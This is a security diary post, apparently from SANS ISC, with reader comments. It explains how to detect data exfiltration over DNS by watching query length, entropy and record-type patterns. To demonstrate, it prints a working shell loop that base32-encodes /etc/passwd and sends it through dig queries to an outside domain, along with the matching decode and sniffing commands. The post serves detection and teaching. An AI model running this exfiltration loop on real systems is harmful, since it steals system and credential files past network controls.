My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

DNS Query Length... Because Size Does Matter

Published: 2017-04-20. Last Updated: 2017-04-20 07:07:42 UTC
by Xavier Mertens (Version: 1)
5 comment(s)

In many cases, DNS remains a goldmine to detect potentially malicious activity. DNS can be used in multiple ways to bypass security controls. DNS tunnelling is a common way to establish connections with remote systems. It is often based on "TXT" records used to deliver the encoded payload. "TXT" records are also used for good reasons, like delivering SPF records but, too many TXT DNS request could mean that something weird is happening on your network.

Instead of using TXT records, data exfiltration may occur directly via the FQDN ("Fully Qualified Domain Name"). The RFC 1035[1] states that a DNS query length is 255 characters total with each subdomain being 63 characters or less. By using Base32 encoding[2], we can encode our data in strings compatible with the DNS requirements: "A-Z", "0-9" and "-". It is easy to exfiltrate a file with the following shell command. We encode our juicy file (/etc/passwd in this example) and generate DNS request to a domain controlled by the attacker:

$ cat /etc/passwd | base32 -w 63 | while read L
do
  dig $L.data.rootshell.be @192.168.254.8
done

Note: the parameter '-w 63' prevent the encoding process from breaking the RFC. On the DNS side, here is what we get:

$ grep 'data.rootshell.be' queries.log
20-Apr-2017 08:32:11.075 queries: info: client 172.x.x.x#44635: query: OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.113 queries: info: client 172.x.x.X#50081: query: YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.173 queries: info: client 172.x.x.x#40457: query: QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.222 queries: info: client 172.x.x.x#56897: query: 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be IN A +E (192.168.254.8)
20-Apr-2017 08:32:11.276 queries: info: client 172.x.x.x#57339: query: GOTYHI2DUNRVGUZTIOTTPFXGGORPMJUW4ORPMJUW4L3TPFXGGCTHMFWWK4Z2PA5.data.rootshell.be IN A +E (192.168.254.8)
...

To decode this on the attacker's host, use the following command:

$ grep 'data.rootshell.be' queries.log | cut -d ' ' -f8 | cut -d '.' -f1| base32 -d | more
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
...

We don't need full access to the DNS server. If we have access to the network, we just have to sniff some traffic:

# tcpdump -vvv -s 0 -i eth0 -l -n port 53 | egrep "A\? .*\.data\.rootshell\.be"
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
    172.x.x.x.40335 > 192.168.254.8.53: [udp sum ok] 9843+ [1au] A? OJXW65B2PA5DAORQHJZG633UHIXXE33POQ5C6YTJNYXWEYLTNAFGIYLFNVXW4OT.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
    172.x.x.x.35770 > 192.168.254.8.53: [udp sum ok] 19877+ [1au] A? YHIYTUMJ2MRQWK3LPNY5C65LTOIXXGYTJNY5C65LTOIXXGYTJNYXW433MN5TWS3.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
    172.x.x.x.41463 > 192.168.254.8.53: [udp sum ok] 29267+ [1au] A? QKMJUW4OTYHIZDUMR2MJUW4ORPMJUW4ORPOVZXEL3TMJUW4L3ON5WG6Z3JNYFHG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
    172.x.x.x.38048 > 192.168.254.8.53: [udp sum ok] 30042+ [1au] A? 6LTHJ4DUMZ2GM5HG6LTHIXWIZLWHIXXK43SF5ZWE2LOF5XG63DPM5UW4CTTPFXG.data.rootshell.be. ar: . OPT UDPsize=4096 (110)
...

As you can see, we just used standard DNS requests to exfiltrate data. To detect this, keep an eye on your DNS logs and particularly the query length. The following graph is generated from the DNS logs processed by a Splunk instance. It is helpful to see the distribution of query length across the network:

But, as usual, not all big DNS queries are suspicious. Some CDN's are using queries to identify files. Example:

hxxps://2ecffd01e1ab3e9383f0-07db7b9624bbdf022e3b5395236d5cf8.ssl.cf4.rackcdn.com/Product/178ee827-0671-4f17-b75b-2022963f5980.pdf

To reduce the risk of false positives, this control can be combined with others:

  • The volume of traffic per IP
  • The volume of traffic per (sub-)domain
  • White-lists

This technique is not new but comes back regularly in front of the stage. The malware 'Wekby'[3] discovered in 2016 was already using this technique for C2 communications.

[1] https://www.ietf.org/rfc/rfc1035.txt
[2] https://en.wikipedia.org/wiki/Base32
[3] http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

5 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments

Can this approach be used on Windows DNS server logs?
Regarding Splunk, what field are you keying in on for the query length? The byte size?
It is based on the query length (extracted from Bro logs)
Hi Xavier,

thanks for the nice trick for DNS Tunneling (for loop with pipes etc :-) - really neat!

Indeed DNS can be leveraged for detecting malicious activities on a network very neatly.

Besides the lengths of FQDNs, there some other patterns which I are find quite useful:

1. FQDN lengths and entropy of the DNS labels (labels are everything between the dots in the FQDN)

2. Usage rate of TXT records (or further unusual record types, such as CNAME, NS) across your endpoints: this is necessary to maximize the bandwidth of DNS tunnel, thus almost mandatory for attackers to use it.

3. NXDOMAIN error-rate across your endpoints: this is a telltale sign for infection by DGA-Malware .

A simple cheat-sheet for those patterns and how to use along with tshark:
http://goo.gl/nCjM47

Additional references here (slides from SANS DFIR Prague 2016):
https://files.sans.org/summit/DFIR_Summit_Prague_2016/PDFs/How-to-Rock-DNS-Joao-Coller-de-Mendonca.pdf


Cheers
Joao
@sec_joao
Thank you for your contribution!

/x

Diary Archives